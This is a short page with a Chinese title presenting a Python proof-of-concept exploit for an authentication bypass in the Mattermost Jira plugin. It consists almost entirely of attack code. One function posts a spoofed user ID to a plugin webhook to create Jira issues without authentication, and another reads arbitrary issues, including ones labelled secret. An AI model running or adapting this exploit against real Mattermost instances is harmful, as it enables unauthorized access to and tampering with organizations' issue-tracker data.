CVE-2025-14273 Mattermost Jira插件认证绕过漏洞

import requests import json # CVE-2025-14273 PoC - Mattermost Jira Plugin Authentication Bypass # Target: Mattermost instance with vulnerable Jira plugin TARGET_URL = "http://target-mattermost.com/api/v4/plugins/com.mattermost.jira" KNOWN_USER_ID = "attacker_known_user_id" JIRA_SERVER = "https://jira.target-company.com" def exploit_cve_2025_14273(): """ This PoC demonstrates the authentication bypass in Mattermost Jira plugin. The plugin fails to validate user identity when processing plugin payloads, allowing unauthenticated attackers to issue authenticated requests to Jira. """ headers = { "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest" } # Malicious payload with spoofed user ID and arbitrary issue key path payload = { "user_id": KNOWN_USER_ID, "action": "create_issue", "jira_server": JIRA_SERVER, "issue_key_path": "PROJ/INCIDENT-9999", "issue_data": { "project": "PROJ", "summary": "Malicious Issue Created via Auth Bypass", "description": "This issue was created by exploiting CVE-2025-14273" } } # Step 1: Send crafted request to Mattermost Jira plugin endpoint response = requests.post( f"{TARGET_URL}/api/v2/webhook", headers=headers, json=payload, timeout=30 ) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") # Step 2: Verify if the request was successful if response.status_code == 200: result = response.json() if result.get("success"): print("[+] Authentication bypass successful!") print(f"[+] Created issue: {result.get('issue_key')}") return True print("[-] Exploitation failed or target not vulnerable") return False def read_jira_issues(): """ Read arbitrary Jira issues using the authentication bypass. """ payload = { "user_id": KNOWN_USER_ID, "action": "get_issue", "jira_server": JIRA_SERVER, "issue_key_path": "PROJ/SECRET-1234" } response = requests.get( f"{TARGET_URL}/api/v2/issues", headers={"Content-Type": "application/json"}, json=payload, timeout=30 ) return response.json() if __name__ == "__main__": print("CVE-2025-14273 - Mattermost Jira Plugin Auth Bypass PoC") print("=" * 60) exploit_cve_2025_14273()